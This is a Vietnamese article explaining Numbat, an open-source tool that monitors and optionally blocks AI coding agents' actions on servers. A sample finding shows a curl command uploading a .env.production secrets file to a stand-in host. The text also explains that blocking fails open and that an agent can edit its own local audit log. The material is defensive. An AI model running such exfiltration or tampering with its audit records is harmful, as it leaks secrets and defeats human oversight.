Numbat: Theo dõi AI agent làm gì trên server

Numbat là gì

Numbat giúp bạn biết một AI agent đã thực hiện những gì trên máy thuộc quyền quản lý của bạn. Numbat đọc các hook callback và file session mà các coding agent vốn đã tạo, chuẩn hóa chúng thành một định dạng event duy nhất, rồi đối chiếu với các rule kích hoạt khi phát hiện hành vi như đọc private key của SSH hoặc chuyển thẳng nội dung tải xuống vào shell. Perplexity phát hành Numbat dưới dạng open source theo giấy phép Apache 2.0, với bản phát hành đầu tiên được gắn tag vào ngày 29 July 2026.

Toàn bộ nội dung dưới đây được lấy từ repository của dự án và tài liệu chính thức của dự án, được đọc vào ngày 2 August 2026. Khi Perplexity đưa ra một tuyên bố, bài viết này sẽ nêu rõ đó là tuyên bố của Perplexity. Đây không phải là hướng dẫn cài đặt, vì repository này mới vài ngày tuổi và các command trong đó sẽ thay đổi.

Vấn đề: không ai ghi lại agent đã làm gì

Một coding agent trên VPS của bạn chạy các lệnh shell, đọc file, ghi file và mở các kết nối mạng, tất cả với quyền của user mà bạn đã cấp cho nó. Lịch sử shell của bạn không ghi lại những thao tác đó vì agent không nhập lệnh vào shell của bạn. sshd chỉ ghi lại lần đăng nhập của bạn, không ghi lại những gì model quyết định thực hiện sau đó. /var/log/auth.log vẫn im lặng trừ khi có thứ gì đó truy cập sudo. Agent có transcript riêng, nhưng file đó nằm trong thư mục session của agent, định dạng có thể thay đổi giữa các bản release, và chính process của agent cũng có thể ghi vào file đó.

Vì vậy, khi có người hỏi agent có đọc .env.production vào thứ Ba tuần trước hay không, câu trả lời trung thực trên hầu hết server là bạn không thể xác định. Khoảng trống đó là lý do dự án này tồn tại.

Perplexity cho rằng Numbat làm được gì

README mở đầu bằng cách mô tả công cụ này là “khả năng quan sát hoạt động của AI agent tại endpoint, với khả năng phát hiện cục bộ, tùy chọn chặn trước hành động và tái dựng phục vụ điều tra”. Endpoint ở đây là máy chạy agent, không phải một network appliance giám sát từ bên ngoài. Đây là các khả năng riêng biệt và mức độ quan trọng của chúng cũng khác nhau.

Detection chạy trên thiết bị. Các rule được viết bằng CEL (common expression language) và được đánh giá cục bộ. Công cụ còn hỗ trợ rule theo chuỗi nhiều bước và rule tùy chỉnh trong YAML. Rule không cần gửi dữ liệu ra khỏi máy để kích hoạt.

Blocking là tùy chọn và có phạm vi hẹp. Tính năng này chỉ hoạt động thông qua synchronous pre-action hook, trên các agent có hỗ trợ hook đó. Tính năng này bị tắt cho đến khi bạn bật.

Reconstruction diễn ra sau khi sự việc xảy ra. numbat scan phân tích các session artifact mà agent đã ghi vào disk, để bạn xem lại hoạt động từ trước khi cài bất kỳ thành phần nào. Project này nêu rõ giới hạn của tuyên bố đó: “At-rest reconstruction không phải là disk acquisition hoặc memory acquisition, và không thể khôi phục hoạt động mà agent không lưu lại.”

Output là NDJSON có version (JSON phân tách bằng newline), bao gồm event, finding, quyết định enforcement, indicator và bản tóm tắt scan, với schema version 0.2.0 tính đến v0.1.2. Record được ghi vào stdout hoặc local file, và tùy chọn gửi qua HTTP đến collector do bạn vận hành. Công cụ được phát hành dưới dạng một Go binary tĩnh, build không có cgo, cho macOS, Linux và Windows trên amd64 và arm64. Vì vậy, trên Linux VPS, đây là một file duy nhất và không cần cài runtime trước.

Numbat thực sự nhìn thấy những agent nào?

Ma trận phạm vi hỗ trợ trong docs/agent-coverage.md là danh sách có thẩm quyền, và phạm vi này không đồng đều. Dự án nêu rõ điều đó thay vì che giấu. Claude Code, Codex, Gemini CLI, Cursor và GitHub Copilot CLI đều hỗ trợ quét artifact và thu thập trực tiếp bằng pre-action hook. OpenClaw có plugin native từ phiên bản 2026.7.1 trở lên. Nhiều mục khác được đánh dấu là deferred, nghĩa là có đường dẫn live hook nhưng chưa có bộ phân tích artifact. Nguyên nhân thường là agent đó lưu lịch sử trong SQLite với write-ahead log, không an toàn khi đọc trong lúc agent đang chạy. Khi ma trận được kiểm tra vào ngày 2 tháng 8 năm 2026, OpenCode và Cline thuộc nhóm này.

Hãy kiểm tra hàng tương ứng với agent của bạn trước khi lập kế hoạch sử dụng công cụ này. “Được hỗ trợ” có ý nghĩa khác nhau ở gần như mọi hàng.

Phát hiện có dạng như thế nào

Các rule có ID cho biết chúng dùng để phát hiện gì. secrets.read_private_key bao quát SSH key, thông tin xác thực AWS, kube config hoặc thông tin đăng nhập package registry. exec.download_pipe_shell kích hoạt khi output của curl hoặc wget được pipe vào một interpreter. privilege.elevated_shell phát hiện yêu cầu mở root shell tương tác thông qua sudo, doas, su hoặc pkexec. impact.cryptomining_launch khớp với các binary miner và tên image đã biết.

Các rule theo chuỗi kết hợp các event trong cùng một session. chain.secret_read_then_egress yêu cầu có thao tác đọc file chứa secret, sau đó là một command đưa dữ liệu ra ngoài. README công bố finding dưới đây từ một lần replay có kiểm soát của 2 callback pre-action của Claude Code, không phải từ một sự cố đang diễn ra. Nội dung dưới đây đã được rút gọn, chỉ giữ lại các field cần thiết:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Lưu ý "confidence": "medium" nằm bên trong record. Đồng thời, lưu ý nhận định của project về toàn bộ loại output này: "Findings là các lần khớp rule, không phải bằng chứng server bị breach." Một deploy script đọc key rồi upload build artifact cũng sẽ khớp cùng sequence rule đó. Match là chính xác, nhưng alarm là sai. Đây là trạng thái bình thường của mọi công cụ detection bạn từng chạy.

Tính năng chặn mặc định bị tắt và hệ thống xử lý theo hướng cho phép khi có lỗi

Mọi rule do Numbat cung cấp chỉ dùng để monitor. Muốn chuyển một rule thành rule chặn, bạn phải thực hiện rõ ràng: sao chép toàn bộ YAML của rule vào thư mục riêng, giữ nguyên id, thêm enforce: true, tăng version, sau đó kiểm tra và cài policy đó.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Bây giờ là phần quyết định mức độ bạn nên tin cậy hệ thống này. deny của Numbat là một response được gửi lại cho agent, còn agent mới là thành phần thực sự từ chối tool call. Tài liệu enforcement nêu rõ điều xảy ra khi chính Numbat gặp lỗi: "Payload không hợp lệ, lỗi đánh giá liên quan, panic và lỗi output sẽ ngăn Numbat gửi deny." Input của hook bị giới hạn ở 4 MiB. Input vượt giới hạn cũng đi theo cùng quy trình này.

Tài liệu cũng nêu rõ giới hạn của một deny đã được gửi: "Fail-open nghĩa là Numbat không gửi response deny. Điều đó không đảm bảo tool sẽ được thực thi: host vẫn có thể yêu cầu xác nhận, từ chối, hết thời gian chờ hoặc áp dụng hook hay policy khác."

Vì vậy, enforcement ở đây là một lớp bảo vệ, không phải ranh giới bảo mật. Nếu process bị crash, Numbat sẽ không chặn action đó, vì một monitor làm agent bị treo mỗi khi gặp lỗi sẽ bị gỡ trong vòng một tuần. Đây là một đánh đổi hợp lý. Tuy nhiên, đừng xây dựng security model dựa trên giả định rằng deny luôn được gửi đến.

Numbat phù hợp như thế nào với những gì bạn đang làm

Numbat chạy trên endpoint, bên trong process tree riêng của agent và mặc định ghi vào ~/.numbat/records.ndjson. Agent chạy bằng user của bạn có thể đọc file đó. Agent cũng có thể chỉnh sửa file. Audit trail chỉ có giá trị tương ứng với mức cô lập bảo vệ nó. Vì vậy, mọi control bạn đang có đều phải nằm trước Numbat, không phải phía sau nó.

Cấp cho coding agent một VM dùng một lần giới hạn phạm vi mà một lần chạy lỗi có thể tác động. Dùng user có ít quyền nhất trên VPS ngăn agent truy cập những file mà nó không có lý do để mở. Không đưa credential vào context của agent giúp một secrets.read_private_key đủ hiếm để đáng xem khi nó xảy ra. Còn sandbox bạn thiết lập cho Claude Code trên VPS vẫn là thành phần thực hiện việc containment.

Numbat bổ sung bản ghi. Vì vậy, hãy gửi bản ghi đến nơi agent không thể truy cập. numbat ship và HTTP sink phục vụ mục đích đó. Một bản sao của stream trên máy thứ hai tạo ra khác biệt giữa một log file và bằng chứng. Event model cũng chứa các trường MCP (model context protocol). Vì vậy, các tool call đi qua MCP server bạn host trên VPS sẽ xuất hiện trong cùng stream với các lệnh shell cục bộ. Điều này quan trọng vì đường đi đó không hiển thị với bất kỳ thành phần nào chỉ theo dõi bash.

Thử trước ở chế độ chỉ đọc

Cài đặt một phiên bản cố định. Cần Go 1.26.5 hoặc mới hơn cho go install. Trang releases có các binary dựng sẵn kèm checksum SHA-256 nếu bạn không muốn build từ source.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents phát hiện các agent đã cài trên máy. numbat scan phân tích các session artifact đã có trên đĩa và in ra các record. README nêu rõ rằng các lệnh này “không cài hook hoặc thay đổi cấu hình agent”, đồng thời numbat “không bao giờ thực thi agent hoặc command được tìm thấy trong artifact, và chỉ gửi request ra ngoài đến các HTTP sink đã cấu hình”. Quá trình quét chỉ đọc và có redaction secret. Output record thông thường không bao giờ chứa toàn bộ raw transcript.

Bước tiếp theo là capture trực tiếp. Bước này có thay đổi cấu hình agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all ghi event, finding, indicator và các quyết định enforcement áp dụng được vào ~/.numbat/records.ndjson. Dự án đưa ra 2 cảnh báo quan trọng. Có thể cần trust hook bên trong agent trước khi hook thực sự chạy. Sau khi thay đổi các flag như --enforce, bạn cũng phải review lại trust đó. Ngoài ra, hook status “xác minh cấu hình, không xác minh việc thực thi hoặc phân phối”. Vì vậy, status line ở trạng thái bình thường không chứng minh rằng record đang đến được đích nào.

Vì sao một repository mới như vậy chưa phải là dependency

Các bản release công khai là v0.1.1 vào ngày 29 tháng 7 năm 2026 và v0.1.2 vào ngày 1 tháng 8 năm 2026. Repository có 597 star khi bài viết này được viết vào ngày 2 tháng 8 năm 2026. Tốc độ tăng này phản ánh lượng người dùng của Perplexity, không phản ánh độ ổn định của code. Một star chỉ có nghĩa là ai đó đã lưu trang để xem lại sau.

Số phiên bản thể hiện đúng vị trí của dự án này. Ghi chú v0.1.2 chủ yếu nói về các bản sửa lỗi redaction credential, cùng với việc chuẩn hóa case bundle và telemetry. Lỗi redaction là dạng lỗi ban đầu thường gặp ở một tool có nhiệm vụ đọc an toàn transcript của các chương trình khác. Sẽ còn nhiều lỗi tương tự, vì input đến từ hàng chục agent và mỗi agent thay đổi format theo lịch riêng.

Có 2 quy tắc thực tế cần tuân theo. Hãy pin tag, không pin @latest, trong mọi thứ bạn lưu giữ. Hãy xem đây là một công cụ đang được đánh giá, không phải một control mà bạn phụ thuộc vào, ít nhất cho đến khi schema của record không còn thay đổi.

FAQ

Numbat có chặn các lệnh nguy hiểm của AI agent không?

Chỉ khi bạn chủ động bật và chỉ trên cơ sở nỗ lực hợp lý. Mọi rule được Numbat phát hành đều chỉ ở chế độ monitor. Để chặn, bạn sao chép YAML của rule vào thư mục riêng, giữ nguyên id, thêm enforce: true, tăng version rồi cài hook bằng --enforce. Ngay cả khi đó, deny chỉ là response được gửi lại cho agent, còn agent mới là thành phần từ chối thực thi lệnh gọi. Dự án ghi rõ cơ chế fail-open: payload sai định dạng, lỗi đánh giá, panic và lỗi output đều khiến deny bị bỏ qua. Hãy dùng tính năng này làm guardrail, không dùng làm boundary duy nhất.

Numbat hỗ trợ những AI agent nào?

Mức độ hỗ trợ khác nhau tùy agent và được liệt kê trong docs/agent-coverage.md trong repository. Khi trang này được đọc vào ngày 2 August 2026, Claude Code, Codex, Gemini CLI, Cursor và GitHub Copilot CLI đều có quét artifact và thu thập trực tiếp; OpenClaw có plugin native từ version 2026.7.1. Nhiều agent khác có đường dẫn live hook nhưng chưa có artifact parser, thường vì lịch sử session của chúng nằm trong SQLite database không an toàn khi đọc trong lúc agent đang chạy. Hãy đọc dòng tương ứng với agent của bạn, vì từ "được hỗ trợ" ở đó bao gồm nhiều mức độ khác nhau.

Agent có thể can thiệp vào record của Numbat không?

Có, nếu agent chạy dưới cùng user. Mặc định, record được lưu tại ~/.numbat/records.ndjson trên cùng máy với agent, nên mọi thành phần có quyền ghi vào đường dẫn đó đều có thể thay đổi hoặc xóa record. Hãy gửi stream đến collector mà agent không thể truy cập bằng numbat ship hoặc HTTP sink, đồng thời giữ file cục bộ làm bản sao tiện dụng. Đây cũng là lý do tool bổ trợ cho isolation thay vì thay thế isolation. Agent bị giới hạn trong một VM dùng một lần và chạy dưới user có least privilege sẽ ít khả năng tác động đến audit trail của chính nó hơn nhiều.

Numbat đã sẵn sàng cho server production chưa?

Chưa, nếu bạn định phụ thuộc vào nó như một control. Bản phát hành công khai đầu tiên là v0.1.1 vào ngày 29 July 2026 và v0.1.2 được phát hành tiếp vào ngày 1 August 2026, nên các flag và schema của record vẫn đang thay đổi. Chạy numbat agents và numbat scan trên một máy là thao tác chỉ đọc, rủi ro thấp, đồng thời cho bạn biết các agent đã để lại gì trên disk. Cài enforcement hook trên server quan trọng là một quyết định khác. Bạn nên ghim tag và lập kế hoạch xử lý khi hook hoạt động sai.